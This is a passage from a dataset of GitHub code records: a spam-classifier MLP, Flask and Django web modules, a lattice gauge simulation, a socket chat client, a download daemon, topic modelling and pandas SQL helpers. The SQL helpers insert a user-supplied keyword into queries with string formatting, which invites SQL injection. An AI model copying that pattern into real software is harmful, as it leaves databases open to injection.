读取文件位置\r\nspam = pd.read_csv(filename) # (4600,58) 4600个样本，每个样本有58个特征\r\n# print(spam.head())\r\nX = spam.iloc[:, 0:57].values # 去掉最后一列标签列\r\ny = spam.spam.values\r\n\r\n# 数据归一化\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=123) # 将数据分为训练集和测试集\r\nscales = MinMaxScaler(feature_range=(0, 1)) # 将数据缩放到0，1\r\nX_train_s = scales.fit_transform(X_train) # 对X_train_s 缩放，下同\r\nX_test_s = scales.transform(X_test) #\r\n\r\n# 使用箱线图对比邮件的每个特征分布\r\ncolname = spam.columns.values[:-1]\r\nplt.figure(figsize=(20, 14))\r\nfor ii in range(len(colname)):\r\n plt.subplot(7, 9, ii+1)\r\n sns.boxplot(x=y_train, y=X_train[:,ii])\r\n plt.title(colname[ii])\r\nplt.subplots_adjust(hspace=0.4)\r\nplt.savefig('box.png')\r\nplt.show()\r\n\r\n\r\n# 搭建MLP网络\r\nclass MLPclassifica(nn.Module):\r\n def __init__(self):\r\n super(MLPclassifica, self).__init__() #构造方法必须有\r\n\r\n # Sequential（）表示将括号里的层链接起来，下面nn.Linear表示输入有57个神经元，输出有30个神经元，存在偏置神经元（默认开启）\r\n # 然后将输出结果带入ReLu函数，Linear与Relu合在一起起名为hidden1，上层的输出为下层的输入\r\n self.hidden1 = nn.Sequential(\r\n nn.Linear(\r\n in_features=57,\r\n out_features=30,\r\n bias=True,\r\n ),\r\n nn.ReLU()\r\n )\r\n\r\n self.hidden2 = nn.Sequential(\r\n nn.Linear(30, 10),\r\n nn.ReLU()\r\n )\r\n\r\n self.classifica = nn.Sequential(\r\n nn.Linear(10, 2),\r\n nn.Sigmoid()\r\n )\r\n\r\n def forward(self, x): # 定义前向传播函数\r\n fc1 = self.hidden1(x)\r\n fc2 = self.hidden2(fc1)\r\n output = self.classifica(fc2)\r\n\r\n return fc1, fc2, output\r\n\r\n\r\n# 数据转为张量\r\nX_train_t = torch.from_numpy(X_train_s.astype(np.float32))\r\ny_train_t = torch.from_numpy(y_train.astype(np.int64))\r\n\r\nX_test_t = torch.from_numpy(X_test_s.astype(np.float32))\r\ny_test_t = torch.from_numpy(y_test.astype(np.int64))\r\n\r\ntrain_data = Data.TensorDataset(X_train_t, y_train_t)\r\n# 定义一个数据加载器，会将数据分批次喂给神经网络，这里定义的一批为64个样本\r\ntrain_loader = Data.DataLoader(\r\n dataset=train_data, # 数据是什么\r\n batch_size=64, # 每批多少个\r\n shuffle=True, # 是否打乱数据\r\n #num_workers=2\r\n)\r\n\r\n# 我们的网络结构是个类，将其实例化一下\r\nmlpc = MLPclassifica()\r\n\r\n# 定义优化器，使用Adam优化算法，可自动调节学习率\r\noptimizer = torch.optim.Adam(mlpc.parameters(), lr=0.01)\r\n\r\nloss_func = nn.CrossEntropyLoss() # 定义损失函数为二分类损失函数\r\n\r\nmax_epoch = 15 # 训练轮次\r\ntrain_loss_list = [] # 定义一个空列表，等下来存储训练的损失\r\naccuracy_list = [] #同上，来存储精度\r\n\r\nfor epoch in range(max_epoch):\r\n\r\n for step,(b_x,b_y) in enumerate(train_loader):\r\n _, _, output = mlpc(b_x) # 将b_x喂给神经网络，得到输出\r\n train_loss = loss_func(output, b_y) # 根据输出计算损失函数\r\n optimizer.zero_grad() # torch中每次求导梯度会叠加，所以我们在反向传播的过程中先将梯度清零再求导\r\n train_loss.backward() # 求导\r\n optimizer.step() # 更新参数\r\n print(train_loss)\r\n\r\n niter = epoch * len(train_loader)+step+1\r\n\r\n if niter % 25 == 0:\r\n train_loss_list.append(train_loss.detach().numpy()) # 没经过25次迭代记录一次损失值\r\n _, _, output = mlpc(X_test_t)\r\n _, pre_index = torch.max(output, 1)\r\n test_accuracy = accuracy_score(y_test, pre_index) # 计算精度\r\n accuracy_list.append(test_accuracy)\r\n\r\nplt.subplot(2,1,1) #画loss\r\nplt.plot(train_loss_list)\r\nplt.title('loss')\r\n\r\nplt.subplot(2,1,2) #画精度表\r\nplt.title('accracy')\r\nplt.plot(accuracy_list)\r\nplt.savefig('train.png')\r\nplt.show()\r\n\r\n#torch.save(mlpc, \"spam_model.pkl\") #保存模型的网络结构与参数\r\n#torch.save(mlpc.state_dict(), \"spam_state_dict.pkl\") # 仅保存所有的参数\r\n","repo_name":"saber805/spam_classify","sub_path":"trian_spam_classifica.py","file_name":"trian_spam_classifica.py","file_ext":"py","file_size_in_byte":4780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"5875091163","text":"from modules.db import db\nfrom flask import session, flash\nfrom os import abort\n\ndef get():\n sql = \"SELECT * FROM schools WHERE id=:school_id\"\n result = db.session.execute(sql, {\"school_id\": session[\"school\"]})\n school = result.fetchone()\n return school\n\ndef create(form):\n if session[\"csrf_token\"] != form[\"csrf_token\"]:\n abort(403)\n schoolname = form[\"schoolname\"]\n info = form[\"info\"]\n address = form[\"address\"]\n phone = form[\"phone\"]\n www = form[\"www\"]\n if len(schoolname) < 3 or len(info) < 10 or len(address) < 10 or len(phone) < 4 or len(www) < 3:\n flash(\"Tarkista, että kaikki kentät ovat oikein täytetty\", \"error\")\n return False\n sql = \"INSERT INTO schools (schoolname, info, address, phone, www, visible) VALUES (:schoolname, :info, :address, :phone, :www, 'true') RETURNING id\"\n result = db.session.execute(sql, {\"schoolname\":schoolname, \"info\": info, \"address\": address, \"phone\": phone, \"www\": www})\n school_id = result.fetchone()[0]\n sql = \"INSERT INTO schooladmins (user_id, school_id) VALUES (:user_id, :school_id)\"\n db.session.execute(sql, {\"user_id\":session[\"user_id\"], \"school_id\": school_id})\n db.session.commit()\n session[\"school\"] = school_id\n return True\n\ndef edit(form):\n if session[\"csrf_token\"] != form[\"csrf_token\"]:\n abort(403)\n schoolname = form[\"schoolname\"]\n info = form[\"info\"]\n address = form[\"address\"]\n phone = form[\"phone\"]\n www = form[\"www\"]\n if len(schoolname) < 3 or len(info) < 10 or len(address) < 10 or len(phone) < 4 or len(www) < 3:\n flash(\"Tarkista, että kaikki kentät ovat oikein täytetty\", \"error\")\n return False\n sql = \"SELECT schoolname FROM schools WHERE id=:id\"\n result = db.session.execute(sql, {\"id\": session[\"school\"]})\n oldname = result.fetchone()[0]\n if oldname != schoolname: # someone wants to change the name of the school\n sql = \"SELECT * FROM schools WHERE schoolname=:schoolname\"\n result = db.session.execute(sql, {\"schoolname\": schoolname})\n if result.fetchone():\n flash(\"Tämä koulunimi on jo käytössä muualla\", \"error\")\n return False\n sql = \"UPDATE schools SET schoolname=:schoolname, info=:info, address=:address, phone=:phone, www=:www WHERE id=:id\"\n db.session.execute(sql, {\"schoolname\": schoolname, \"info\": info, \"address\": address, \"phone\": phone, \"www\": www, \"id\": session[\"school\"]})\n db.session.commit()\n return True\n","repo_name":"rundtjan/kielipelisovellus","sub_path":"modules/schoolz.py","file_name":"schoolz.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"19006237386","text":"from collections import deque\nclass Solution:\n \n #Function to return list containing vertices in Topological order.\n def topoSort(self, V, adj):\n # Code here\n indeg = [0]*V\n ans = []\n for i in range(V):\n for x in adj[i]:\n indeg[x] += 1\n \n pq = deque()\n for i in range(V):\n if indeg[i] == 0:\n pq.append(i)\n \n while(len(pq)) > 0:\n t = pq.popleft()\n ans.append(t)\n for x in adj[t]:\n indeg[x] -= 1\n if indeg[x] == 0:\n pq.append(x)\n \n return ans","repo_name":"godspell/Data_Structure_and_Algorithms","sub_path":"Graphs/Topological sort/ans2.py","file_name":"ans2.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"3149402862","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport numpy as np\nimport time\nimport multiprocessing as mp\nimport os, sys\nfrom itertools import repeat\n\nimport LGTp as lgt\n\nprint(\"default_rng:\",np.random.default_rng())\n\ncpu_count = os.cpu_count()\nprint(\"os cpu_count:\",cpu_count)\n\n\n# calculate equilibrating phase\n# Change only here\n#N = 6\n#N_t = 12\n#run_n = 4\n#beta_id = \"b050to200s40\"\n#n_conf = 200\n\nif __name__ == '__main__':\n\n\targs = sys.argv # N, N_t, run_n, beta_id, n_conf, data_dir\n\n\tprint('Argument : {}'.format(args))\n\t\n\tif len(args) != 8:\n\t\traise SyntaxError(\"Check args : N, N_t, run_n, beta_id, prec, data_dir, fig_dir\")\n\n\tN = int(args[1]) # Spatial lattice point number \n\tN_t = int(args[2]) # Temporal lattice point number\n\trun_n = int(args[3]) # run id\n\tbeta_id = str(args[4]) # beta set id\n\tprec = float(args[5]) # target precision\n\tdata_dir = str(args[6]) # data save directory\n\tfig_dir = str(args[7]) # figure save directory\n\n\tstart_b = float(beta_id[1:4])*0.01\n\tend_b = float(beta_id[6:9])*0.01\n\tsteps = int(beta_id[-2:])\n\n\tmax_steps = 500\n\t\n\tbeta_list = np.linspace(start_b,end_b,steps)\n\tprint(\"generating U1-%d \"%(N)+beta_id)\n\n\tnt = len(beta_list)\n\n\tensem = []\n\n\t# for b in range(nt):\n\tdef simulate(b):\n\t# start = time.time()\n\t\t\t#seed = int(beta_list[b]*1000)\n\t\t\tseed = int((time.time() % 1)*1000)\n\n\t\t\tu1 = lgt.Lattice([N,N,N,N_t])\n\t\t\tu1.init_fields('U1','Cold',seed)\n\t\t\t\n\t\t\tbare_parameters = u1.bare_parameter_generator()\n\t\t\tbare_parameters['beta'] = beta_list[b]\n\t\t\t\n\t\t\tg = lgt.action(u1,bare_parameters)\n\t\t\tO = g.polyakovLoopR_nb # Target observable\n\n\t\t\tt_eq, t_ac, _, _ = lgt.calc_teq_tac(bare_parameters,\n\t\t\t\t\tO, \n\t\t\t\t\tu1, \n\t\t\t\t\ttol=prec, \n\t\t\t\t\tmax_steps=max_steps, \n\t\t\t\t\tverbose=True, \n\t\t\t\t\tfig_dir=fig_dir, \n\t\t\t\t\tuse_lat=True)\n\t\t\t\n\t\t\tt_eq = int(np.round(t_eq+0.5))\n\t\t\tt_ac = int(np.round(t_ac+0.5))\n\t\t\t\n\t\t\tprint(\"beta\",beta_list[b],\" teq : \",t_eq,\" tac : \",t_ac)\n\t\t\t\n\t\t\tif t_ac > max_steps:\n\t\t\t\t\treturn\n\n\t\t\t# Finish thermalizing if t_eq > max_steps\n\t\t\tif t_eq > max_steps*3:\n\t\t\t\trem_eq = max_steps*2\n\t\t\telse:\n\t\t\t\trem_eq = t_eq - max_steps\n\n\t\t\tfor i in range(rem_eq):\n\t\t\t\tlgt.metropolis(u1,bare_parameters)\n\t\t\t\n\t\t\tconf = []\n\t\t\t\t\t\n\t\t\t# Generate minimum number of configurations\n\t\t\tO_mean = O(u1.field)\n\t\t\tO_hist = []\n\t\t\tO_diff_hist = []\n\t\t\tfor i in range(100):\n\t\t\t\tO_mean_old = O_mean\n\t\t\t\t\n\t\t\t\tfor t in range(2*t_ac):\n\t\t\t\t#for t in range(t_ac):\n\t\t\t\t\tlgt.metropolis(u1,bare_parameters)\n\t\t\t\tconf.append(u1.field)\n\n\t\t\t\tO_hist.append(O(u1.field))\n\t\t\t\tO_mean = np.mean(O_hist)\n\t\t\t\tO_diff = np.abs(O_mean - O_mean_old)\n\t\t\t\tO_diff_hist.append(O_diff)\n\n\t\t\t# Generate conf of target precision\n\t\t\twhile np.mean(O_diff_hist[-100:]) > prec and len(O_diff_hist) < max_steps*3:\n\t\t\t\t\n\t\t\t\tO_mean_old = O_mean\n\t\t\t\t\n\t\t\t\tfor t in range(2*t_ac):\n\t\t\t\t#for t in range(t_ac):\n\t\t\t\t\tlgt.metropolis(u1,bare_parameters)\n\t\t\t\tconf.append(u1.field)\n\n\t\t\t\tO_hist.append(O(u1.field))\n\t\t\t\tO_mean = np.mean(O_hist)\n\t\t\t\tO_diff = np.abs(O_mean - O_mean_old)\n\t\t\t\tO_diff_hist.append(O_diff)\n\t\t\t\n\t\t\tbeta = beta_list[b]\n\t\t\tconf_name = data_dir+'/U1_b%0.3fN%dtac%dS%d.npy' %(beta,N,t_ac,seed)\n\t\t\tnp.save(conf_name, conf)\n\n\t# Test run\n\tprint(\"starting test run\")\n\tstart = time.time()\n\tsimulate(0)\n\tdur = time.time() - start\n\n\tn_ensem = len(beta_list)\n\tn_core = cpu_count\n\texpected_dur = n_ensem*dur/n_core\n\n\tprint(\"test run duration : %.5f sec\"%(dur))\n\tprint(\"for %d ensemble ~ %d sec ~ %0.3f hour\"%(n_ensem,n_ensem*dur,n_ensem*dur/3600.))\n\tprint(\"with %d core, expecting : %0.3f hour\"%(n_core, expected_dur/3600))\n\n\n\tnow = time.ctime(time.time())\n\texpected_end = time.ctime(time.time() + expected_dur)\n\n\tprint(\"starting at \"+now)\n\tprint(\"expected end time : \"+expected_end)\n\n\tstart = time.time()\n\n\tp = mp.Pool(n_core)\n\tres = p.map(simulate, range(nt)[1:])\n\tp.close()\n\tp.join()\n\n\tdue = time.time() - start\n\tprint(\"time span:\",due)\n\n\tprint(due/3600)\n\n","repo_name":"chanjure/LGTp","sub_path":"scripts/U1_auto_conf_gen.v5.py","file_name":"U1_auto_conf_gen.v5.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"73573130487","text":"from django.db import models\nfrom common.models import CommonModel\n\n# Create your models here.\n\n\nclass Review(CommonModel):\n user = models.ForeignKey(\n \"users.User\",\n on_delete=models.CASCADE,\n )\n # boarder = models.ForeignKey(\n # \"boarders.Boarder\",\n # null=True,\n # blank=True,\n # on_delete=models.SET_NULL,\n # related_name=\"reviews\",\n # )\n sitter = models.ForeignKey(\n \"sitters.Sitter\",\n null=True,\n blank=True,\n on_delete=models.CASCADE,\n related_name=\"reviews\",\n )\n payload = models.TextField()\n rating = models.PositiveIntegerField()\n\n def __str__(self):\n return f\"{self.user} / {self.rating}тнР\"\n","repo_name":"bellakim0843/pawfect_match_backend","sub_path":"reviews/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"29311608609","text":"#Juego adivina mi número\nprint(\"Intenta adivinar mi numero, esta entre el 1 y el 20\")\na=int(input(\"En que numero estoy pensando :\"))\nimport random\nb = (random.randrange(20))\nx = 1\nwhile x < 5:\n if b > a:\n print(\"Mi numero es mayor\")\n a=int(input(\"En que numero estoy pensando :\"))\n elif b < a:\n print(\"Mi numero es menor\")\n a=int(input(\"En que numero estoy pensando :\"))\n elif a == b:\n print(\"Adivinaste, mi numero era\",(b))\n break\n x = x + 1\nprint(\"No adivinaste, mi número era\",(b))\n\n \n ","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej12/hito1_ej12_b42ebbf40e5d7a3362012473908552d4.py","file_name":"hito1_ej12_b42ebbf40e5d7a3362012473908552d4.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"18543968961","text":"import socket\nimport threading\n\nhost = socket.gethostname()\nport = 6666\nbuff = 1024\n\nclient_sock = socket.socket()\nclient_sock.connect((host, port))\n\ndef recieve():\n while True:\n rMsg = client_sock.recv(buff).decode()\n if not rMsg:\n print('Ending connection')\n break\n print()\n print(\"revd:\", rMsg)\n\ndef send():\n while True:\n sMsg = input()\n client_sock.send(sMsg.encode())\n\nt1 = threading.Thread(target=send, name=1)\nt2 = threading.Thread(target=recieve, name=2)\n\nt1.start()\nt2.start()","repo_name":"mihirs16/Computer-Networks","sub_path":"Full Duplex/full_dup_client.py","file_name":"full_dup_client.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"3924529049","text":"\n\nfrom gensim.test.utils import common_dictionary, common_corpus\nfrom gensim.models import LsiModel\n\n\n\n\n\nimport jieba\nimport jieba.posseg as pseg\nimport gensim\nimport json\nfrom gensim import corpora\nimport time\nfrom algorithm.base import dbs\n\ndef keywords_save():\n # 把所有keyword写入文件\n keywords = open('keywords.txt', encoding='utf-8', mode='w')\n\n sql = \"\"\"select keyword_paper from doclda\"\"\"\n result = dbs.getTuples(sql)\n for i in range(0, len(result)):\n if (result[i][0]):\n keywords.write(result[i][0] + ',')\n\ndef userdict_extract():\n \"\"\"\n 抽取关键字作为用户字典\n :return: 存储在 userdict.txt里面\n \"\"\"\n keywords_save()\n\n # 把keyword读出来, 并且统计词频写入userdict.txt里面\n wordDict = {}\n keywordsLst = open('keywords.txt', encoding='utf-8', mode='r').read().split(',')\n userdict = open('userdict.txt', encoding='utf-8', mode='w')\n\n # 统计词频放入词典\n for word in keywordsLst:\n if(word in wordDict):\n wordDict[word] += 1\n else:\n wordDict[word] = 1\n # 把词典写入文件\n for word in wordDict:\n userdict.write(word + ' ' + str(wordDict[word]) + ' n' + '\\n')\n\nprint('查询教师院系')\nsql='select id,institution from teacher'\nlist=dbs.getTuples(sql)\ninstitution_dict={}\nfor institution in list:\n if institution[1] not in institution_dict.keys():\n institution_dict[institution[1]]=[]\n institution_dict[institution[1]].append(institution[0])\n else :\n institution_dict[institution[1]].append(institution[0])\n\nmax=0\nmin=100\nfor v in institution_dict:\n l=len(institution_dict[v])\n if l>max:\n max=l\n if l=20:\n num_topics=10\n num_words=(num_topics-2)*2+10\n print('本院系文章总数为%d，即将分为主题数%d个，关键字%d个......' % (len(corpus),num_topics,num_words))\n # ldamodel = gensim.models.ldamodel.LdaModel(corpus, num_topics=num_topics, id2word=dictionary, passes=50)\n # result = ldamodel.print_topics(num_topics=num_topics, num_words=num_words)\n # doc_lda = ldamodel[corpus]\n model = LsiModel(corpus, id2word=dictionary,num_topics=num_topics,)\n doc_lda = model[corpus]\n result = model.print_topics(num_topics=num_topics, num_words=num_words)\n time2 = time.time()\n print('模型训练用时：', time2 - time1)\n print('LDA模型训练完成。插入数据库......')\n\n\n for n in range(len(doc_lda)):\n Topic=doc_lda[n]\n if len(Topic)==0:\n prams = (institution_paper_list[n][0], institution + \"其他\", json.dumps({}, ensure_ascii=False),\n json.dumps({}, ensure_ascii=False))\n sql = 'insert into lda2 values(%s,%s,%s,%s)'\n list = dbs.exe_sql(sql, prams)\n continue\n c1 = sorted(Topic, key=lambda x: x[1], reverse=True)\n\n wordTopic = [i[1] for i in result if int(c1[0][0]) == i[0]]\n\n d=strToMap(wordTopic[0])\n t={}\n for key in DocWord[n]:\n if key in d.keys():\n t[key]=d[key]\n topic=c1[0][0]\n prams=(institution_paper_list[n][0],institution+str(topic),json.dumps(d,ensure_ascii=False),json.dumps(t,ensure_ascii=False))\n sql='insert into lda2 values(%s,%s,%s,%s)'\n list = dbs.exe_sql(sql, prams)\n\n\n\n\n","repo_name":"ischenrui/eds","sub_path":"algorithm/lsi.py","file_name":"lsi.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"6621816263","text":"import asyncio\nfrom .db import model\nfrom .db import create_session\nfrom sqlalchemy import or_,and_, desc, asc\nimport queue\nimport sys\nimport logging\nimport datetime\nimport weakref\nfrom concurrent.futures import ThreadPoolExecutor\nimport concurrent\nfrom . import webserver\n#asyncio.tasks._DEBUG = True\n\n\nclass Job(object):\n def __init__(self, entry):\n self.entry = entry\n\n def __lt__(self, other):\n if self.entry and getattr(other, 'entry', None):\n return not self.entry.priority.__lt__(other.entry.priority)\n return False\n\n def __repr__(self):\n return \"\" %(self.entry and self.entry.id or self.entry.name)\n\n\n\nclass Daemon(object):\n log = logging.getLogger(\"daemon\")\n\n def __init__(self, manager, check_interval = 10, queue_size=20):\n self.manager = manager\n self.jobs = asyncio.PriorityQueue(queue_size)\n self.check_interval = check_interval\n self.in_check = set()\n self.workpool = ThreadPoolExecutor(5)\n self.loop = manager.loop\n self.manager.loop = self.loop\n self.blacklist = set()\n self.first_run = True\n\n @asyncio.coroutine\n def do_job(self):\n while True:\n try:\n job = yield from self.jobs.get()\n #yield from asyncio.sleep(1000)\n entry = job.entry\n entry.state = model.EntryState.started\n session = create_session()\n session.add(entry)\n self.log.info(\"check entry: %s\" %entry.full_path)\n if entry.plugin is None:\n self.log.debug(\"detect plugin for entry: %s\" %entry.id)\n (plugin, prio) = self.manager.get_backend_for_entry(entry)\n if not plugin:\n self.log.info(\"can't find plugin to handle url %s\" %(entry))\n entry.set_error(\"can't find plugin to handle url\", unhandled=True)\n continue\n entry.plugin = plugin.name\n session.commit()\n self.log.debug(\"use plugin for entry %s: %s (prio=%s)\" %(entry.id, plugin.name, prio))\n else:\n plugin = self.manager.get_backend(entry.plugin)\n if not plugin:\n self.log.error(\"entry has plugin that does not exist\")\n self.blacklist.add(entry.id)\n # FIXME, blacklist entry until restart\n return\n\n rv = plugin.do_entry(entry)\n def call_done(future):\n asyncio.Task(self.job_done(future))\n #rv.add_done_callback(self.job_done)\n rv.add_done_callback(call_done)\n yield from rv\n except Exception as e:\n self.log.exception(e)\n #raise asyncio.tasks.Return(job)\n\n def job_done(self, future):\n entry, rv = future.result()\n if not rv:\n self.log.error(\"job failed: %s\", str(entry))\n try:\n self.in_check.remove(entry.id)\n except KeyError:\n self.log.debug(\"entry should have been in in_check\")\n else:\n dm = yield from self.manager.get_download_manager(entry.collection)\n yield from dm.entry_done(entry)\n try:\n self.in_check.remove(entry.id)\n except KeyError:\n self.log.debug(\"entry should have been in in_check\")\n\n\n @asyncio.coroutine\n def got_entries(self, entries):\n if not entries:\n return\n try:\n for entry in entries:\n if entry.id in self.in_check:\n self.log.debug(\"entry still processed: %s\" %entry.full_path)\n continue\n\n self.in_check.add(entry.id)\n #self.in_check.add(entry)\n #embed()\n #print(\"qlen\", self.jobs.qsize())\n #asyncio.Task(self.do_job())\n yield from self.jobs.put(Job(entry))\n #print(\"%%%%%%\")\n #print(rv)\n\n #entry.next_check = next_check\n #session.add(entry)\n\n except Exception as e:\n self.log.exception(e)\n #for i in session.query(model.Entry).filter(or_(model.Entry.next_check==None,\n #model.Entry.next_check= DATE('{}') \" \\\n \"AND f_mensaje <= DATE('{}')) \".format(p_clave, f_ini, f_fin)\n\n df = pd.read_sql_query(query, conexion)\n if not df.empty:\n print(df)\n return df\n else:\n messagebox.showerror(\"Error\",\"No hay datos para mostrar. Primero cargar la Base de Datos\")\n return(\"Error: No hubo coincidencia con tu búsqueda\")\n\ndef consultar_comentarios_cantidad(conexion, p_clave):\n query = \"SELECT usuario.nick_usuario, count(mensaje.text_mensaje) as cantidad \" \\\n \"FROM mensaje \" \\\n \"INNER JOIN usuario ON usuario.id_usuario = mensaje.id_usuario \" \\\n \"GROUP BY mensaje.id_usuario \" \\\n \"HAVING text_mensaje like '%{}%' \" \\\n \"ORDER BY cantidad DESC\".format(p_clave)\n\n df = pd.read_sql_query(query, conexion)\n if not df.empty:\n return df\n else:\n messagebox.showerror(\"Error\",\"No hay datos para mostrar. Primero cargar la Base de Datos\")\n return(\"Error: No hubo coincidencia con tu búsqueda\")\n\ndef consultar_media_mensajes(conexion, f_ini, f_fin):\n query = \"SELECT red_social.nom_red_social, mensaje.f_mensaje \" \\\n \"FROM mensaje \" \\\n \"INNER JOIN red_social ON red_social.id_red_social = mensaje.id_red_social \" \\\n \"WHERE f_mensaje >= DATE('{}') \" \\\n \"AND f_mensaje <= DATE('{}') \".format(f_ini, f_fin)\n\n df = pd.read_sql_query(query, conexion)\n if not df.empty:\n df[\"f_mensaje\"] = pd.to_datetime(df[\"f_mensaje\"])\n df[\"dia\"] = df[\"f_mensaje\"].dt.date\n df = df.loc[:, [\"nom_red_social\", \"dia\"]]\n m_dia = df.groupby([\"nom_red_social\", \"dia\"])[\"dia\"].count().reset_index(name='Mensajes')\n total_mensajes = m_dia[\"Mensajes\"].sum()\n m_dia['media_mensajes'] = m_dia['Mensajes']/total_mensajes\n print(m_dia)\n m_dia.plot(x='dia', y=\"media_mensajes\", kind='bar', figsize=(12, 8))\n plt.xticks(rotation=30)\n plt.xlabel('Días')\n plt.ylabel('Porcentaje')\n plt.title('Media de mensajes por día', size=18)\n plt.show()\n else:\n messagebox.showerror(\"Error\",\"No hay datos para mostrar. Primero cargar la Base de Datos\")\n return(\"Error: No hubo coincidencia con tu búsqueda\")\n\ndef stadisticas_mensaje(conexion, word):\n query= \"SELECT (red_social.nom_red_social) as Red_Social, count(mensaje.text_mensaje) as Cantidad \" \\\n \"FROM mensaje \" \\\n \"INNER JOIN red_social ON red_social.id_red_social = mensaje.id_red_social \" \\\n \"WHERE mensaje.text_mensaje like '%{}%' \" \\\n \"GROUP BY red_social.nom_red_social\".format(word)\n\n df= pd.read_sql_query(query, conexion)\n if not df.empty:\n return df\n else:\n messagebox.showerror(\"Error\",\"No hay datos para mostrar. Primero cargar la Base de Datos\")\n return(\"Error: No hubo coincidencia con tu búsqueda\")","repo_name":"villa85/curso_python_2","sub_path":"Proyecto_Final_23E_Yuniel_Villalon/obtener_datos/consultar_datos.py","file_name":"consultar_datos.py","file_ext":"py","file_size_in_byte":3985,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"29255508539","text":"\nimport argparse\n\ndef count_lines(line):\n n_lines = 1\n return(n_lines)\n \ndef count_words(line):\n n_words = 0\n while \" \" in line:\n line = line.replace(\" \",\" \")\n words = line.strip().split(\" \")\n if words != ['']:\n n_words += len(words)\n return(n_words)\n \ndef count_chars(line):\n n_chars = len(line) + 1\n return(n_chars)\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Count lines, words and characters.')\n parser.add_argument('file_path', type=str, help='name of the file to be counted')\n parser.add_argument('-l', dest= \"lines\", action=\"store_true\", help='count lines')\n parser.add_argument('-c', dest= \"characters\", action=\"store_true\", help='count chars')\n parser.add_argument('-w', dest= \"words\", action=\"store_true\", help='count words')\n\n args = parser.parse_args()\n return(args)\n\ndef open_file(file_path):\n try:\n data_file = open(file_path, 'r')\n return(True, data_file)\n except OSError:\n return(False, 'File not found')\n\nif __name__ == '__main__':\n args = parse_args()\n data_file = open_file(args.file_path)\n if data_file[0] == True:\n lines = 0\n words = 0\n chars = 0\n for data_line in data_file[1]:\n if args.lines:\n lines += count_lines(data_line)\n if args.words:\n words += count_words(data_line)\n if args.characters:\n chars += count_chars(data_line)\n data_file[1].close()\n if args.lines:\n print(\"Number of lines: \" + str(lines))\n if args.words:\n print(\"Number of words: \" + str(words))\n if args.characters:\n print(\"Number of characters: \" + str(chars))\n else:\n print(data_file[1])\n\n","repo_name":"janusz-krauze/word_counter","sub_path":"word_counter.py","file_name":"word_counter.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"36518508609","text":"from django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User, Group\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom datetime import datetime\ntry:\n from django.contrib.sites.shortcuts import get_current_site\nexcept ImportError:\n from django.contrib.sites.models import get_current_site\nfrom django.core import signing\nfrom django.core.files.storage import FileSystemStorage\nfrom django.core.mail import send_mail\nfrom django.core.validators import validate_email\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render\nfrom django.template import loader\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .models import App_Course\nfrom instructor.models import Instructor, Course, Student\nfrom tutor_admin.models import Term\nfrom ta_tutor.models import Session\nfrom survey.models import Survey\nfrom student.models import Student as StudentAccount\n\nfrom pusher import Pusher, pusher\nimport codecs, json, sys, pyexcel as pe\nfrom collections import defaultdict\nfrom xlrd import XLRDError\n\n# LOAD HOME PAGE\ndef index(request):\n return render(request, 'home/home.html')\n\n# CONTACT US PAGE\ndef contact(request):\n context = {\n 'contact': ['Email: UtsaTutorLab@gmail.com'],\n 'title': \"Contact Us\",\n }\n return render(request, 'home/contact.html', context)\n\n# LOGIN USER, REDIRECT TO THEIR PROFILE\ndef submit_login(request):\n username = request.POST.get('username')\n password = request.POST.get('password')\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n if user.groups.filter(name='Student').exists():\n return HttpResponse(\n json.dumps(\"/student\"),\n content_type=\"application/json\"\n )\n if user.groups.filter(name='Tutor').exists():\n return HttpResponse(\n json.dumps(\"/ta_tutor\"),\n content_type=\"application/json\"\n )\n if user.groups.filter(name='Tutor_Admin').exists():\n return HttpResponse(\n json.dumps(\"/tutor_admin\"),\n content_type=\"application/json\"\n )\n if user.groups.filter(name='Instructor').exists():\n return HttpResponse(\n json.dumps(\"/instructor\"),\n content_type=\"application/json\"\n )\n if username == 'admin' or username == 'bifrost_larry':\n return HttpResponse(\n json.dumps(\"/admin\"),\n content_type=\"application/json\"\n )\n else:\n return HttpResponse(\n json.dumps(\"false-1\"),\n content_type=\"application/json\"\n )\n else:\n return HttpResponse(\n json.dumps(\"false-2\"),\n content_type=\"application/json\"\n )\n\n# LOGOUT USER\ndef logout_view(request):\n logout(request)\n return HttpResponseRedirect('/')\n\n# REDIRECT TO USER PROFILE\ndef profile(request):\n user = request.user\n if user is not None:\n if user.is_active:\n if user.groups.filter(name='Student').exists():\n return HttpResponseRedirect('/../student/')\n if user.groups.filter(name='Tutor').exists():\n return HttpResponseRedirect('/../ta_tutor/')\n if user.groups.filter(name='Instructor').exists():\n return HttpResponseRedirect('/../instructor/')\n if 